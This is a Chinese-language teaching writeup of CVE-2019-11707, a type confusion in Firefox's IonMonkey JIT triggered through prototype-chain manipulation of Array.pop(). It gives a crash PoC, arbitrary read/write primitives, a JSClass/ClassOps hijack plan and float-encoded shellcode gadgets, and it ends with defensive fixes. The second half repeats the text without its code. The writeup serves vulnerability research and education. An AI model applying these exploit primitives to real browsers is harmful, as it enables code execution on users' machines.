CVE-2019-11707 Writeup
字数 1755 2025-08-27 12:33:48

CVE-2019-11707漏洞分析与利用教学文档

漏洞概述

CVE-2019-11707是Firefox浏览器中IonMonkey JavaScript引擎的一个类型混淆漏洞。该漏洞源于IonMonkey在内联Array.pop()操作时对prototype链检查不完整,导致可以绕过类型检查,最终实现类型混淆和内存破坏。

前置知识

JavaScript Prototype机制

  • Prototype是JavaScript实现继承的方式,允许在对象间共享属性和方法
  • 每个对象都有一个prototype属性指向其原型对象
  • 当访问对象属性时,如果对象本身没有该属性,会沿着prototype链向上查找

IonMonkey优化机制

  • IonMonkey是SpiderMonkey引擎的JIT编译器
  • 内联缓存(Inline Cache)保存先前查找结果以优化性能
  • 类型推断(Type Inference)跟踪变量类型以生成优化代码
  • 内联函数调用时,会基于类型推断结果省略类型检查

漏洞细节

根本原因

IonMonkey在内联Array.pop()Array.push()Array.slice()时,只检查ArrayPrototype上的索引元素,而没有检查整个prototype链上的所有prototype对象。这导致可以通过在prototype链中间插入带有索引元素的prototype来绕过类型检查。

漏洞代码分析

js/src/jit/MCallOptimize.cpp中的inlineArrayPopShift函数:

bool hasIndexedProperty;
MOZ_TRY_VAR(hasIndexedProperty, ArrayPrototypeHasIndexedProperty(this, script()));
if (hasIndexedProperty) {
    trackOptimizationOutcome(TrackedOutcome::ProtoIndexedProps);
    return InliningStatus_NotInlined;
}

这段代码只检查ArrayPrototype是否有索引属性,而没有检查整个prototype链。

漏洞触发条件

  1. 创建一个对象数组,使类型推断认为数组始终包含对象
  2. 修改数组的prototype,在prototype链中间插入带有非对象索引元素的prototype
  3. 当数组变为稀疏数组时,Array.pop()会返回prototype中的非对象元素
  4. JIT编译的代码仍认为返回的是对象,导致类型混淆

漏洞利用

初始PoC分析

const v4 = [{a: 0}, {a: 1}, {a: 2}, {a: 3}, {a: 4}];

function v7(v8, v9) {
    if (v4.length == 0) {
        v4[3] = {a: 5};
    }
    const v11 = v4.pop();
    v11.a;  // 崩溃点
    for (let v15 = 0; v15 < 10000; v15++) {}
}

var p = {};
p.__proto__ = [{a: 0}, {a: 1}, {a: 2}];
p[0] = -1.8629373288622089e-06;
v4.__proto__ = p;

for (let v31 = 0; v31 < 1000; v31++) {
    v7();
}

利用步骤详解

1. 创建类型混淆

目标是混淆Uint32ArrayUint8Array类型:

  1. 创建Uint32Array视图的数组
  2. 修改数组prototype使其包含Uint8Array
  3. JIT编译后,代码会以Uint32Array的方式操作Uint8Array,导致越界写入

2. 内存布局操作

  1. 创建多个连续的ArrayBuffer对象
  2. 利用越界写入修改相邻ArrayBuffer的metadata(长度字段)
  3. 扩大一个ArrayBuffer的范围使其覆盖下一个ArrayBuffer的metadata

3. 信息泄露

  1. 通过修改后的ArrayBuffer读取被覆盖的metadata
  2. 泄露ArrayBuffer视图地址和组(group)指针

4. 实现任意读写

  1. 修改ArrayBuffer的数据指针指向任意地址
  2. 通过该ArrayBuffer的视图实现读写原语:
function write(addr, value) {
    for (var i = 0; i < 8; i++) changer[i] = addr[i]
    value.reverse()
    for (var i = 0; i < 8; i++) leaker[i] = value[i]
}

function read(addr) {
    for (var i = 0; i < 8; i++) changer[i] = addr[i]
    return leaker.slice(0, 8)
}

5. 代码执行

  1. 泄露JSClass结构体地址
  2. 伪造JSClass结构体,特别是ClassOps函数表
  3. 注入shellcode并获取其地址
  4. 劫持addProperty函数指针指向shellcode
  5. 触发shellcode执行

Shellcode注入

使用浮点数编码的stager shellcode:

buf[7].func = function func() {
    const magic = 4.183559446463817e-216;
    const g1 = 1.4501798452584495e-277  // mov rcx, qword ptr [rcx]
    const g2 = 1.4499730218924257e-277  // push 0x1000
    const g3 = 1.4632559875735264e-277  // pop rsi; xor rdi,rdi
    const g4 = 1.4364759325952765e-277  // push 0xfff; pop rdi
    const g5 = 1.450128571490163e-277   // not rdi; nop; nop; nop
    const g6 = 1.4501798485024445e-277  // and rdi, rcx
    const g7 = 1.4345589835166586e-277  // push 7; pop rdx; push 10; pop rax
    const g8 = 1.616527814e-314         // push rcx; syscall; ret
}

防御措施

  1. 完善prototype链检查,确保检查所有中间prototype
  2. 加强类型推断系统对prototype变化的跟踪
  3. 增加对JIT编译代码的类型安全检查
  4. 实现更严格的ArrayBuffer隔离

总结

CVE-2019-11707展示了JavaScript引擎中类型系统与优化机制交互时可能产生的安全问题。通过精心构造的prototype链,攻击者可以绕过类型检查,实现类型混淆和内存破坏。该漏洞的利用涉及多个高级技巧,包括:

  • 利用JIT优化和类型推断的差异
  • 操作内存布局实现信息泄露
  • 构建任意读写原语
  • 劫持控制流执行shellcode

理解这类漏洞对于浏览器安全研究和防御具有重要价值。

CVE-2019-11707漏洞分析与利用教学文档 漏洞概述 CVE-2019-11707是Firefox浏览器中IonMonkey JavaScript引擎的一个类型混淆漏洞。该漏洞源于IonMonkey在内联 Array.pop() 操作时对prototype链检查不完整,导致可以绕过类型检查,最终实现类型混淆和内存破坏。 前置知识 JavaScript Prototype机制 Prototype是JavaScript实现继承的方式,允许在对象间共享属性和方法 每个对象都有一个prototype属性指向其原型对象 当访问对象属性时,如果对象本身没有该属性,会沿着prototype链向上查找 IonMonkey优化机制 IonMonkey是SpiderMonkey引擎的JIT编译器 内联缓存(Inline Cache)保存先前查找结果以优化性能 类型推断(Type Inference)跟踪变量类型以生成优化代码 内联函数调用时,会基于类型推断结果省略类型检查 漏洞细节 根本原因 IonMonkey在内联 Array.pop() 、 Array.push() 和 Array.slice() 时,只检查 ArrayPrototype 上的索引元素,而没有检查整个prototype链上的所有prototype对象。这导致可以通过在prototype链中间插入带有索引元素的prototype来绕过类型检查。 漏洞代码分析 在 js/src/jit/MCallOptimize.cpp 中的 inlineArrayPopShift 函数: 这段代码只检查 ArrayPrototype 是否有索引属性,而没有检查整个prototype链。 漏洞触发条件 创建一个对象数组,使类型推断认为数组始终包含对象 修改数组的prototype,在prototype链中间插入带有非对象索引元素的prototype 当数组变为稀疏数组时, Array.pop() 会返回prototype中的非对象元素 JIT编译的代码仍认为返回的是对象,导致类型混淆 漏洞利用 初始PoC分析 利用步骤详解 1. 创建类型混淆 目标是混淆 Uint32Array 和 Uint8Array 类型: 创建 Uint32Array 视图的数组 修改数组prototype使其包含 Uint8Array JIT编译后,代码会以 Uint32Array 的方式操作 Uint8Array ,导致越界写入 2. 内存布局操作 创建多个连续的 ArrayBuffer 对象 利用越界写入修改相邻 ArrayBuffer 的metadata(长度字段) 扩大一个 ArrayBuffer 的范围使其覆盖下一个 ArrayBuffer 的metadata 3. 信息泄露 通过修改后的 ArrayBuffer 读取被覆盖的metadata 泄露 ArrayBuffer 视图地址和组(group)指针 4. 实现任意读写 修改 ArrayBuffer 的数据指针指向任意地址 通过该 ArrayBuffer 的视图实现读写原语: 5. 代码执行 泄露 JSClass 结构体地址 伪造 JSClass 结构体,特别是 ClassOps 函数表 注入shellcode并获取其地址 劫持 addProperty 函数指针指向shellcode 触发shellcode执行 Shellcode注入 使用浮点数编码的stager shellcode: 防御措施 完善prototype链检查,确保检查所有中间prototype 加强类型推断系统对prototype变化的跟踪 增加对JIT编译代码的类型安全检查 实现更严格的ArrayBuffer隔离 总结 CVE-2019-11707展示了JavaScript引擎中类型系统与优化机制交互时可能产生的安全问题。通过精心构造的prototype链,攻击者可以绕过类型检查,实现类型混淆和内存破坏。该漏洞的利用涉及多个高级技巧,包括: 利用JIT优化和类型推断的差异 操作内存布局实现信息泄露 构建任意读写原语 劫持控制流执行shellcode 理解这类漏洞对于浏览器安全研究和防御具有重要价值。